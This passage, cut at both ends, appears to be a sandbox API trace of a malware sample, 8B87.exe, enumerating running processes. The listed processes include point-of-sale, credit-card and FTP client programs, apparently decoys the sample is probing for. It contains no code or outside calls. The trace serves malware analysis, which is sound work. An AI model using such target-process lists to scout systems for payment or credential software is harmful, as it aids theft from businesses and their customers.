th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0215.759] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0215.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0215.764] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0215.766] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0215.768] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0215.769] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0215.771] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0215.773] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0215.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0215.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0215.779] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0215.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0215.784] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0215.786] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0215.788] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0215.790] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0215.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0215.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0215.795] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0215.797] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0215.799] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.801] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0215.803] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0215.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0215.809] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0215.815] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0215.816] CloseHandle (hObject=0x11c8) returned 1 [0215.817] Sleep (dwMilliseconds=0x64) [0215.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0215.980] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.982] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.983] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.985] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.987] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.989] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.991] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.048] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.050] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.057] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.058] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.061] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.062] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.064] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.066] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.069] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.071] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.073] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.075] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.076] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.078] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0216.080] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.081] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.083] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0216.085] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0216.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0216.088] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0216.090] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0216.092] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0216.094] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0216.096] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.098] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0216.101] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.103] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0216.105] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0216.107] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0216.109] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0216.110] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0216.113] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0216.115] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0216.117] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0216.118] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0216.120] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0216.121] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0216.123] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0216.125] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0216.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0216.129] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0216.131] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0216.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0216.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0216.137] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0216.147] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0216.149] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, 